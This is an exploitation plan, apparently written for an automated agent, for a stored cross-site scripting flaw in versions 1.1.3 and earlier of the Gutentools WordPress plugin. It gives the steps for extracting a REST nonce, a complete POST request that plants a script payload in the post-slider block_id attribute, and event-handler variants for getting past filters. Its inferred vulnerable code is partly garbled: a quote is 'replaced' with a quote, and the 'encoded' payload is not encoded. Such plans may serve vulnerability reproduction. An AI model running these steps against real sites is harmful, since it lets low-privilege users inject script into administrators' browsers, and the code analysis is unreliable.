Gutentools <= 1.1.3 - Authenticated (Contributor+) Stored Cross-Site Scripting via Post Slider Block Attributes

This plan outlines the steps for an automated agent to research and exploit a Stored Cross-Site Scripting (XSS) vulnerability in the Gutentools WordPress plugin (versions <= 1.1.3).

1. Vulnerability Summary

• Vulnerability: Stored Cross-Site Scripting (XSS)
• Plugin: Gutentools (slug: gutentools)
• Affected Attribute: block_id within the gutentools/post-slider block.
• Cause: The plugin's PHP rendering logic for the Post Slider block fails to properly sanitize the block_id attribute. Specifically, it uses a custom unescaping routine (e.g., str_replace or html_entity_decode) that re-enables HTML special characters that were previously sanitized, then echoes the result into the page's HTML (likely within an id or class attribute).
• Privilege Level: Contributor or higher.

2. Attack Vector Analysis

• Endpoint: WordPress REST API /wp-json/wp/v2/posts or /wp-json/wp/v2/pages.
• Action: Creating or updating a post/page.
• Vulnerable Parameter: content (specifically the JSON-encoded block attributes in the Gutenberg block markup).
• Authentication: Required (Contributor-level user).
• Payload Location: Inside the block_id key of the gutentools/post-slider block definition.

3. Code Flow (Inferred)

1. Block Registration: The plugin registers the gutentools/post-slider block via register_block_type in a PHP file (e.g., includes/blocks/post-slider.php).
2. Rendering: A render_callback function is defined to handle server-side rendering of the block.
3. Attribute Retrieval: The $attributes array is passed to the callback, containing the user-supplied block_id.
4. Custom Unescaping (The Sink): The code performs a transformation like:

   // Example of vulnerable logic
   $block_id = $attributes['block_id'];
   $block_id = str_replace('"', '"', $block_id); // Reintroduces quotes
   echo '<div id="gutentools-slider-' . $block_id . '">'; 
   

5. Output: The unescaped block_id is written directly to the DOM, allowing an attacker to break out of the HTML attribute and inject a script tag.

4. Nonce Acquisition Strategy

To save a post as a Contributor via the REST API, a valid REST Nonce is required.

1. Login: Authenticate as a Contributor user.
2. Navigate: Go to the "Add New Post" page: /wp-admin/post-new.php.
3. Extract Nonce: Use the browser_eval tool to extract the nonce from the global wpApiSettings object:
   • Command: browser_eval("window.wpApiSettings.nonce")
4. Note: Since the exploit is Stored XSS, the script execution happens when any user (including an Administrator) views the published post. No plugin-specific frontend nonce is required for the injection itself.

5. Exploitation Strategy

1. Login: Authenticate as a user with Contributor role.
2. Identify Block Slug: Verify the block slug is gutentools/post-slider (based on standard naming conventions in this plugin).
3. Craft Payload:
   • The goal is to break out of an attribute like id="gutentools-slider-PAYLOAD".
   • Payload: "><script>alert(document.domain)</script>
4. Submit Injection Request:
   • Method: POST
   • URL: /wp-json/wp/v2/posts
   • Headers:
     • Content-Type: application/json
     • X-WP-Nonce: [EXTRACTED_NONCE]
   • Body:

     {
       "title": "XSS Test Post",
       "content": "<!-- wp:gutentools/post-slider {\"block_id\":\"\\\"><script>alert(document.domain)</script>\"} /-->",
       "status": "publish"
     }
     

   (Note: Contributors might require the post to be set to pending status if they lack publish_posts capabilities; a site Administrator viewing the pending post in the editor/preview will still trigger the XSS.)

5. Trigger Execution: Access the permalink of the newly created post or view it in the editor.

6. Test Data Setup

1. User: Create a user with the contributor role.
2. Plugin: Ensure gutentools version 1.1.3 is installed and active.
3. Post: No pre-existing posts are necessary; the exploit creates its own.

7. Expected Results

• The REST API response should return 201 Created.
• When viewing the post frontend or preview, the HTML source should contain:
  <div id="gutentools-slider-"><script>alert(document.domain)</script>">
• The browser should trigger an alert box showing the document domain.

8. Verification Steps

1. Database Check: Use wp_cli to inspect the post content:
   • wp post get [POST_ID] --field=post_content
   • Confirm the malicious block markup is stored correctly.
2. Frontend Inspection: Use http_request to fetch the post URL and check for the unescaped script tag:
   • Look for <script>alert(document.domain)</script> in the response body.

9. Alternative Approaches

• Attribute Encoding: If the plugin specifically decodes HTML entities, try an encoded payload:
  "><script>alert(1)</script>
• Event Handlers: If the <script> tag is blocked by a WAF, use an event handler breakout:
  " onmouseover="alert(1)" style="width:1000px;height:1000px;display:block" data-
• Different Status: If the Contributor cannot publish, use "status": "pending" and view the post as an Admin via the "Preview" link.